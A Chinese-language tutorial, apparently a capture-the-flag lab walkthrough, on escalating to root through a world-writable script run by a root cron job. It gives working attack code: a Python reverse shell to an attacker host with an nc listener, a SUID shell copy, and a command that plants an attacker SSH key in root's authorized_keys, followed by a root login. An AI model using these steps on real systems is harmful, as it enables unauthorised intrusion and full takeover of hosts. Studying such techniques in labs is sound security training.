目录
前提
有以 root 权限执行的定时任务,且该任务执行的脚本是当前 shell 用户可以修改的。
利用定时任务提权
我们在拿到shell之后,如果没有现成的内核提权exp可供使用的话,可以从他们的定时任务入手,看看有没有定时任务调用的脚本文件是我们的shell用户可以修改的,同时又是以 root 用户执行的,然后就可以修改之后静待反弹了
方法1 利用定时任务中使用的有修改权限的文件反弹 root shell
首先,我们需要先看有没有定时任务,然后,我们需要找到当前 shell 对哪些文件拥有 修改 的权限,这个文件还需要被定时任务执行,可以使用以下命令
cat /var/log/cronlog # 查看是否执行了定时任务,crontab -l 需要 root 权限使用,所以我们只能看日志了
*/2 * * * * cleaner.py
find / -perm -o+w -type f 2> /dev/null | grep /proc -v
# 这句命令的意思是,找出除 /proc 文件下的所有有 写 和 执行 权限的文件
# find -perm 按照文件权限匹配文件,-o+w 表示包括具有 写权限 的文件,同时属于所有用户的
# find -type f 查找类型是文件的文件
# 2> /dev/null 丢掉报错
# grep /proc -v -v 表示反向查找,就是不包含 /proc 目录下的
/srv/ftp/lol.pcap
/var/tmp/cleaner.py.swp
/var/www/html/sup3rs3cr3tdirlol/roflmao
/var/log/cronlog
/sys/fs/cgroup/systemd/user/1002.user/19.session/cgroup.event_control
/sys/fs/cgroup/systemd/user/1002.user/cgroup.event_control
/sys/fs/cgroup/systemd/user/cgroup.event_control
/sys/fs/cgroup/systemd/cgroup.event_control
/sys/kernel/security/apparmor/.access
/lib/log/cleaner.py
可以看到满足 可修改 的文件有 cleaner.py,这个文件被定时任务执行,只需要修改它的内容去反弹shell,我们就只要打开监听,等着它被执行就好了
下面开始利用
ssh> nano /lib/log/cleaner.py
# 然后将以下代码替换之前的代码,在攻击机打开 nc 开始监听,等待反弹即可
#!/usr/bin/python
def con():
import socket, time,pty, os
host='192.168.56.148'
port=6666
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 创建一个使用tcp协议套接字的网络连接
s.settimeout(10) # 设置超时时间 10s
s.connect((host,port)) # 使用tcp连接 目标主机
# os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2
# 使用fileObject.fileno()返回一个整型的文件描述符,并使用os.dup2(s.fileno(),0)把这个整型的文件描述符复制到后面的0
# 三个dup2函数先后将socket重定向到标准输入,标准输入,标准错误输出。
os.dup2(s.fileno(),0) # 这里的 0,1,2 代表 标准输入 输出 错误输出
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null') # 设置环境变量。Histfile 是变量名,/dev/null 是变量值
pty.spawn("/bin/bash") # 获取交互式shell
s.close() # 关闭连接
con()
kali> nc -nvlp 6666
方法2 利用定时任务创建sh提权,将 当前用户提到 root 群组
利用条件同提权2 ,只是修改成以下代码
#!/usr/bin/env python
import os
import sys
try:
os.system('cp /bin/sh /tmp/test')
os.system('chmod u+s /tmp/test') # chmod u+s 就是给某个程序的所有者以suid权限,可以像root用户一样操作
except:
sys.exit()
等待定时任务执行后,只需要执行 ./tmp/test
即可提权完成
但这种情况下的 root 权限只是暂时的,在此时反弹的 shell 也是原用户的shell,而不是 root shell。
方法3 写入ssh rsa ,使用ssh免密登录root用户
这里我们先介绍一下通过免密登录ssh的两种方法:(A登录B服务器)
- 在B服务器上,把A的公钥pub文件,放到B的 /root/.ssh/authorized_key 文件中。
authorized_keys文件里保存了其他人的公钥列表,代表这些服务器可以直接登录自己。
通过ssh 就可以直接登录 ssh root@B的ip
令执行过程:A会用自己的.ssh/目录下的私钥文件,例如 id_rds进行加密登录。而B会用自己authorized_keys保存的公钥内容进行解密,如果解密成功。就认为A是合法用户,让A免密登录。注:所以A的目录下必须有id_rsa文件。
-
下载B的私钥文件,生成pem文件
新建一个pem文件,把B的private内容粘贴进去
利用ssh命令即可登录
ssh -i b的私钥.pem文件 root@B的ip地址
B的私钥文件(原本只能B自己知道)给了A,证明B足够信任A,A可以直接登录B 命令执行过程:A会用-i指定的私钥文件(这里就是B的私钥文件)加密,B在自己的authorized_keys中用自己的公钥文件解密。如果成功,就认为A是合法用户,让A免密登录。
这里我们利用的就是方式一,通过定时任务的文件,将自己的 公钥放入靶机的 authorized_keys 文件,实现攻击机的免密登录
kali> ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): # 输入key的保存路径,这里不是指定 回车 即可,默认路径 /root/.ssh/id_rsa
Enter passphrase (empty for no passphrase): # 输入口令,直接回车就是空口令
Enter same passphrase again: # 再次输入口令,直接回车就行了
Your identification has been saved in
Your public key has been saved in .pub
The key fingerprint is:
SHA256:e+x2FkCYSZ+q1NzKHYay27gwjYchsmIrlZw5yNCjcso root@kali-attack
The key's randomart image is:
+---[RSA 3072]----+
| ..+ |
| +... |
| . .o |
|. o o +. |
|++.=. o S +. |
|++O. * = * .. |
|== .= = + + . |
|=E. + + o. o |
|.. +....o |
+----[SHA256]-----+
kali> cat /root/.ssh/id_rsa_pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDF019H+gCL1wZgmScqpqBbjgR0qKQ7mtXTtUqPuj5hJ0mhVoq4IUQCxwcKythVIxGPBoaF4J/I6AVHZkYUKliaeXbJqsVYym3sO5DZtkK726DfpQDzikcuFe3f/HBHXUp8CFDN4XqznDypeXfrmff3yBwsjyyr6kbtmBScYIJwW7ThA2NffS7gJzV640QQJpQqTH2r6b8ubDA3OKeKlMdquub7nQ9q6/VLmPudN+Fp2JmBMWUxlGmwxJwVEn9NCxQKHrp66/1ikk/tIeZ1VUz76d+uIeZmN1jPCXNO3X5JU/wM23JsBCMhivlgEcW3G4uyS3qVHruJJeEmbs= root@kali-attack
要利用的话只需要在靶机上创建一个 /root/.ssh/
文件夹,并创建一个 authorized_keys
,再将上面的公钥写入其中,等待定时任务执行后通过攻击机直接登录即可,此时登录就是 root 权限
shell> nano /lib/log/cleaner.py
#!/usr/bin/env python
import os
import sys
try:
os.system('mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDF019H+gCL1wZgmScqpqBbjgR0qKQ7mtXTtUqPuj5hJ0mhVoq4IUQCxwcKythVIxGPBoaF4J/I6AVHZkYUKliaeXbJqsVYym3sO5DZtkK726DfpQDzikcuFe3f/HBHXUp8CFDN4XqznR4+UiBxWYxv2P58usO1IY6u3xLMIrMUO87GtiBfU9A3OKeKlMdquub7nQ9q6/VLmPudN+Fp2JmBMWUxlGmwxJwVEn9NCxQKHrp66/1ikk/tIeZ1VUz76d+uIeZmN1jPCXNO3X5JU/wM23JsBCMhivlgEcW3G4uyS3qVHruJJeEmbs= root@kali-attack" >> /root/.ssh/authorized_keys')
except:
sys.exit()
kali> ssh root@192.168.56.151 # 即可
Last failed login: Sat Apr 22 18:23:58 CST 2023 from 192.168.56.151 on ssh:notty
There were 2 failed login attempts since the last successful login.
Last login: Sat Apr 22 17:33:41 2023 from 192.168.56.151
root@192.168.56.151:/#